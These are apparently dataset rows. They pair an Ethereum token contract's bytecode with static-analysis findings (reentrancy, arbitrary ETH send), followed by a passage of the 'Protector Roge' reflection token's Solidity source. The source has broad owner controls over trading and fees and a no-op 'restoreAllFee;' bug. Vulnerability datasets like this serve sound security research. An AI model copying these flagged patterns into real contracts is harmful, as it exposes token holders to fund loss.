fffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612f61565b60405180910390fd5b601060149054906101000a900460ff1615610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113ca565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906128c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fba57600080fd5b505afa158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff291906128c9565b6040518363ffffffff1660e01b815260040161100f929190612d91565b602060405180830381600087803b15801561102957600080fd5b505af115801561103d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106191906128c9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ea30610785565b6000806110f5610933565b426040518863ffffffff1660e01b815260040161111796959493929190612de3565b6060604051808303818588803b15801561113057600080fd5b505af1158015611144573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111699190612a34565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506802b5e3af16b1880000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611251929190612dba565b602060405180830381600087803b15801561126b57600080fd5b505af115801561127f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a391906129e2565b5050565b6112af6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133390612f61565b60405180910390fd5b6000811161137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612f01565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113b79190613041565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612ec1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115889190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc90612fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612e81565b60405180910390fd5b600081116116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612f81565b60405180910390fd5b6116c0610933565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172e57506116fe610933565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6e57601154811115611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f90612fe1565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118235750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118915750601060169054906101000a900460ff165b156119b757601060149054906101000a900460ff166118e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dc90613021565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d90612f21565b60405180910390fd5b600f426119739190613126565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c230610785565b9050601060159054906101000a900460ff16158015611a2f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a475750601060149054906101000a900460ff165b15611b6c57683635c9adc5dea00000821115611a6257600080fd5b601060179054906101000a900460ff1615611b495742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef90612f21565b60405180910390fd5b605a42611b059190613126565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5281611dfe565b60004790506000811115611b6a57611b6947611c95565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c155750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1f57600090505b611c2b848484846121bd565b50505050565b6000838311158290611c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c709190612e5f565b60405180910390fd5b5060008385611c889190613207565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce560028461217390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d10573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6160028461217390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8c573d6000803e3d6000fd5b5050565b6000600754821115611dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dce90612ea1565b60405180910390fd5b6000611de16121ea565b9050611df6818461217390919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8a5781602001602082028036833780820191505090505b5090503081600081518110611ec8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6a57600080fd5b505afa158015611f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa291906128c9565b81600181518110611fdc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204330600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ca565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a795949392919061305c565b600060405180830381600087803b1580156120c157600080fd5b505af11580156120d5573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561210b576000905061216d565b6000828461211991906131ad565b9050828482612128919061317c565b14612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f90612f41565b60405180910390fd5b809150505b92915050565b60006121b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612215565b905092915050565b806121cb576121ca612278565b5b6121d68484846122bb565b806121e4576121e3612486565b5b50505050565b60008060006121f761249a565b9150915061220e818361217390919063ffffffff16565b9250505090565b6000808311829061225c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122539190612e5f565b60405180910390fd5b506000838561226b919061317c565b9050809150509392505050565b600060095414801561228c57506000600a54145b15612296576122b9565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cd876124fc565b95509550955095509550955061232b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ae90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240c8161260c565b61241684836126c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124739190613041565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea0000090506124d0683635c9adc5dea0000060075461217390919063ffffffff16565b8210156124ef57600754683635c9adc5dea000009350935050506124f8565b81819350935050505b9091565b60008060008060008060008060006125198a600954600a54612703565b92509250925060006125296121ea565b9050600080600061253c8e878787612799565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c31565b905092915050565b60008082846125bd9190613126565b905083811015612602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f990612ee1565b60405180910390fd5b8091505092915050565b60006126166121ea565b9050600061262d82846120f890919063ffffffff16565b905061268181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ae90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126de8260075461256490919063ffffffff16565b6007819055506126f9816008546125ae90919063ffffffff16565b6008819055505050565b60008060008061272f6064612721888a6120f890919063ffffffff16565b61217390919063ffffffff16565b90506000612759606461274b888b6120f890919063ffffffff16565b61217390919063ffffffff16565b9050600061278282612774858c61256490919063ffffffff16565b61256490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b285896120f890919063ffffffff16565b905060006127c986896120f890919063ffffffff16565b905060006127e087896120f890919063ffffffff16565b90506000612809826127fb858761256490919063ffffffff16565b61256490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612831816136b2565b92915050565b600081519050612846816136b2565b92915050565b60008135905061285b816136c9565b92915050565b600081519050612870816136c9565b92915050565b600081359050612885816136e0565b92915050565b60008151905061289a816136e0565b92915050565b6000602082840312156128b257600080fd5b60006128c084828501612822565b91505092915050565b6000602082840312156128db57600080fd5b60006128e984828501612837565b91505092915050565b6000806040838503121561290557600080fd5b600061291385828601612822565b925050602061292485828601612822565b9150509250929050565b60008060006060848603121561294357600080fd5b600061295186828701612822565b935050602061296286828701612822565b925050604061297386828701612876565b9150509250925092565b6000806040838503121561299057600080fd5b600061299e85828601612822565b92505060206129af85828601612876565b9150509250929050565b6000602082840312156129cb57600080fd5b60006129d98482850161284c565b91505092915050565b6000602082840312156129f457600080fd5b6000612a0284828501612861565b91505092915050565b600060208284031215612a1d57600080fd5b6000612a2b84828501612876565b91505092915050565b600080600060608486031215612a4957600080fd5b6000612a578682870161288b565b9350506020612a688682870161288b565b9250506040612a798682870161288b565b9150509250925092565b6000612a8f8383612a9b565b60208301905092915050565b612aa48161323b565b82525050565b612ab38161323b565b82525050565b6000612ac4826130e1565b612ace8185613104565b9350612ad9836130d1565b8060005b83811015612b0a578151612af18882612a83565b9750612afc836130f7565b925050600181019050612add565b5085935050505092915050565b612b208161324d565b82525050565b612b2f81613290565b82525050565b6000612b40826130ec565b612b4a8185613115565b9350612b5a8185602086016132a2565b612b6381613333565b840191505092915050565b6000612b7b602383613115565b9150612b8682613344565b604082019050919050565b6000612b9e602a83613115565b9150612ba982613393565b604082019050919050565b6000612bc1602283613115565b9150612bcc826133e2565b604082019050919050565b6000612be4601b83613115565b9150612bef82613431565b602082019050919050565b6000612c07601d83613115565b9150612c128261345a565b602082019050919050565b6000612c2a602a83613115565b9150612c3582613483565b604082019050919050565b6000612c4d602183613115565b9150612c58826134d2565b604082019050919050565b6000612c70602083613115565b9150612c7b82613521565b602082019050919050565b6000612c93602983613115565b9150612c9e8261354a565b604082019050919050565b6000612cb6602583613115565b9150612cc182613599565b604082019050919050565b6000612cd9602483613115565b9150612ce4826135e8565b604082019050919050565b6000612cfc601083613115565b9150612d0782613637565b602082019050919050565b6000612d1f601783613115565b9150612d2a82613660565b602082019050919050565b6000612d42601883613115565b9150612d4d82613689565b602082019050919050565b612d6181613279565b82525050565b612d7081613283565b82525050565b6000602082019050612d8b6000830184612aaa565b92915050565b6000604082019050612da66000830185612aaa565b612db36020830184612aaa565b9392505050565b6000604082019050612dcf6000830185612aaa565b612ddc6020830184612d58565b9392505050565b600060c082019050612df86000830189612aaa565b612e056020830188612d58565b612e126040830187612b26565b612e1f6060830186612b26565b612e2c6080830185612aaa565b612e3960a0830184612d58565b979650505050505050565b6000602082019050612e596000830184612b17565b92915050565b60006020820190508181036000830152612e798184612b35565b905092915050565b60006020820190508181036000830152612e9a81612b6e565b9050919050565b60006020820190508181036000830152612eba81612b91565b9050919050565b60006020820190508181036000830152612eda81612bb4565b9050919050565b60006020820190508181036000830152612efa81612bd7565b9050919050565b60006020820190508181036000830152612f1a81612bfa565b9050919050565b60006020820190508181036000830152612f3a81612c1d565b9050919050565b60006020820190508181036000830152612f5a81612c40565b9050919050565b60006020820190508181036000830152612f7a81612c63565b9050919050565b60006020820190508181036000830152612f9a81612c86565b9050919050565b60006020820190508181036000830152612fba81612ca9565b9050919050565b60006020820190508181036000830152612fda81612ccc565b9050919050565b60006020820190508181036000830152612ffa81612cef565b9050919050565b6000602082019050818103600083015261301a81612d12565b9050919050565b6000602082019050818103600083015261303a81612d35565b9050919050565b60006020820190506130566000830184612d58565b92915050565b600060a0820190506130716000830188612d58565b61307e6020830187612b26565b81810360408301526130908186612ab9565b905061309f6060830185612aaa565b6130ac6080830184612d58565b9695505050505050565b60006020820190506130cb6000830184612d67565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613171576131706132d5565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a1613304565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb6132d5565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f6132d5565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136bb8161323b565b81146136c657600080fd5b50565b6136d28161324d565b81146136dd57600080fd5b50565b6136e981613279565b81146136f457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032c8a24e861923e29c876a42e390542afd313f507b07ab2a3baf5d774177bcf364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,381 |
0x282d0ad1fa03dfbdb88243b958e77349c73737d1 | /**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract PROGEV2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Protector Roge";
string private constant _symbol = "PROGE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _progeBurned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _presa;
address payable private _rogeTreasury;
address public ROGE = 0x45734927Fa2f616FbE19E65f42A0ef3d37d1c80A;
address public animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
bool private feeEnabled = false;
bool private limitTX = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 2;
uint256 private _contractFee = 9;
uint256 private _progeBurn = 1;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address addr3) {
_presa = addr1;
_rogeTreasury = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_presa] = true;
_isExcludedFromFee[_rogeTreasury] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function setExcludedFromFee(address account) public onlyOwner {
address addr3 = account;
_isExcludedFromFee[addr3] = true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeEnabled( bool enable) public onlyOwner {
feeEnabled = enable;
}
function setLimitTx( bool enable) public onlyOwner {
limitTX = enable;
}
function enableTrading( bool enable) public onlyOwner {
require(liquidityAdded);
tradeAllowed = enable;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
feeEnabled = true;
limitTX = true;
_maxTxAmount = 1000000000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwapTokensForEth() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualDistributeETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
distributeETH(contractETHBalance);
}
function manualRoge(uint amount) external onlyOwner() {
swapETHforRoge(amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradeAllowed);
if (limitTX) {
require(amount <= _maxTxAmount);
}
_contractFee = 9;
_reflection = 2;
_progeBurn = 1;
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHforRoge(address(this).balance);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(tradeAllowed);
if (limitTX) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
}
uint initialETHBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newETHBalance = address(this).balance;
uint ethToDistribute = newETHBalance.sub(initialETHBalance);
if (ethToDistribute > 0) {
distributeETH(ethToDistribute);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _contractFee == 0 && _progeBurn == 0) return;
_reflection = 0;
_contractFee = 0;
_progeBurn = 0;
}
function restoreAllFee() private {
_reflection = 2;
_contractFee = 9;
_progeBurn = 1;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _progeEthBurn(amount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _progeEthBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_progeBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
_progeBurned = _progeBurned.add(tBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
